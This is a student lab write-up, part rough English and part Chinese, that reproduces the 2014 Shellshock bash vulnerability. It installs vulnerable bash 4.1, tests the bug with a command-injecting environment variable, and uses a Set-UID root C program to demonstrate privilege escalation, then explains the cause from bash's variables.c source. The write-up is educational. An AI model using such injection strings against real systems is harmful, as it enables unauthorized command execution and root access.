2019-2020-1 20199312 "Linux kernel principle and Analysis" in the twelfth week job

Experimental background

September 24, 2014, Bash found a serious flaw shellshock, the vulnerability can be used in many systems, both remotely and can also be triggered locally. In this experiment, students need to understand the attack personally reproduce the vulnerability, and answer some questions.

What is ShellShock

Shellshock, also known as Bashdoor, is a security vulnerability Bash shell widely used in Unix is, for the first time on September 24, 2014 open. Many Internet daemons, such as web servers, using bash to process certain commands, allowing an attacker to execute arbitrary code on the vulnerable version of Bash. This can be exploited to access the computer system without authorization.

Environment to build

Since the 4.2 version of the above, the holes have been plugged, so you want to install version 4.1 bash as root ()
address bash4.1 laboratory building provided: http://labfile.oss.aliyuncs.com/bash-4.1 .tar.gz
Download

$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz

installation

$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install


link

$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash

The environment here on the installation finished, then detect the presence of shellshock vulnerabilities.

test

$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"

Output vulnerable, it indicates that there are loopholes bash.

Finally, let / bin / sh points to / bin / bash.

$ sudo ln -sf /bin/bash /bin/sh

Now everything is ready, the next step now.

test

1. Preliminaries

  • Learn bash custom function, the function name will only be able to call the function.
$ foo() { echo lichen20199312; } 
$ foo
> lichen20199312

  • This time the Bash environment variables:
KEY = foo
VALUE = () { echo lichen20199312; }

Take a look at the vulnerability of Mami ShellShock:

export foo='() { :; }; echo Hello lichen12'
bash
>Hello lichen12

Why call bash when output Hello lichen12 of it? Look at the situation he's inside:

KEY = foo
VALUE = () { :; }; echo Hello lichen12

bash reads the environment variable, after defining a function foo directly call back. Once bash calling, custom statements directly trigger.

Formal experiment

本实验中,我们通过攻击Set-UID程序来获得root权限。
我们知道system()函数将调用"/bin/sh -c" 来运行指定的命令, 这也意味着/bin/bash 会被调用,你能够利用shellshock漏洞来获取权限么? 首先,确保安装了带有漏洞的bash版本,并让/bin/sh 指向/bin/bash.

$ sudo ln -sf /bin/bash /bin/sh

在 /home/shiyanlou 目录下新建一个 shock12.c 文件:

$ vi shock12.c

按 I 键切换到插入模式,再输入如下内容:

#include <stdio.h>
void main()
{
    setuid(geteuid()); // make real uid = effective uid.
    system("/bin/ls -l");
}

编译这段代码,并设置其为Set-UID程序,保证它的所有者是root。

$ sudo su
$ gcc -o shock shock12.c
$ chmod u+s shock

我们注意到这里使用了setuid(geteuid()) 来使real uid = effective uid,这在Set-UID程序中不是普遍现象,但它确实有时会发生。 先自己试着hack一下:) 以下是hack过程:

如果 setuid(geteuid()) 语句被去掉了,再试试看攻击,我们还能够拿到权限么?

#include <stdio.h>
void main()
{
    system("/bin/ls -l");
}
$ sudo su
$ gcc -o shock1 shock12.c
$ chmod u+s shock1
$ ls -il shock1
$ exit
$ ./shock1

失败了!这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了。
variables.c部分代码

/* Initialize the shell variables from the current environment.
   If PRIVMODE is nonzero, don't import functions from ENV or
   parse $SHELLOPTS. */
void
initialize_shell_variables (env, privmode)
     char **env;
     int privmode;
{
  char *name, *string, *temp_string;
  int c, char_index, string_index, string_length;
  SHELL_VAR *temp_var;

  create_variable_tables ();

  for (string_index = 0; string = env[string_index++]; )
    {

      char_index = 0;
      name = string;
      while ((c = *string++) && c != '=')
  ;
      if (string[-1] == '=')
  char_index = string - name - 1;

      /* If there are weird things in the environment, like `=xxx' or a
   string without an `=', just skip them. */
      if (char_index == 0)
  continue;

      /* ASSERT(name[char_index] == '=') */
      name[char_index] = '\0';
      /* Now, name = env variable name, string = env variable value, and
   char_index == strlen (name) */

      temp_var = (SHELL_VAR *)NULL;

      /* If exported function, define it now.  Don't import functions from
   the environment in privileged mode. */
      if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
  {
    string_length = strlen (string);
    temp_string = (char *)xmalloc (3 + string_length + char_index);

    strcpy (temp_string, name);
    temp_string[char_index] = ' ';
    strcpy (temp_string + char_index + 1, string);

    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

    /* Ancient backwards compatibility.  Old versions of bash exported
       functions like name()=() {...} */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
      name[char_index - 2] = '\0';

    if (temp_var = find_function (name))
      {
        VSETATTR (temp_var, (att_exported|att_imported));
        array_needs_making = 1;
      }
    else
      report_error (_("error importing function definition for `%s'"), name);

    /* ( */
    if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
      name[char_index - 2] = '(';   /* ) */
  }

摘出其中关键部分并简化

void initialize_shell_variables(){
// 循环遍历所有环境变量
for (string_index = 0; string = env[string_index++]; ) {
     /*...*/
     /* 如果有export过的函数, 在这里定义 */
     /* 无法导入在特权模式下(root下)定义的函数 */
     if (privmode == 0 && read_but_dont_execute == 0 &&
           STREQN (“() {“, string, 4)) {
           [...]
           // 这里是shellshock发生的地方
           // 传递函数定义 + 运行额外的指令
           parse_and_execute (temp_string, name,
                SEVAL_NONINT|SEVAL_NOHIST);
[...]
} }

就是上述那一行判断逻辑导致了两者的不同,primode即私有模式,要求real uid 与 effective uid保持一致。

感悟

该漏洞在于,Bash把函数体解析完了之后,去执行了函数定义后面的语句。原理十分简单危害却巨大无比。此类型的攻击方式频出关键在于bash在设计的时候对于环境变量的依赖,人们可以尝试着使用各种方式诱骗bash视其为命令。

Guess you like

Origin www.cnblogs.com/banpingcu/p/11981527.html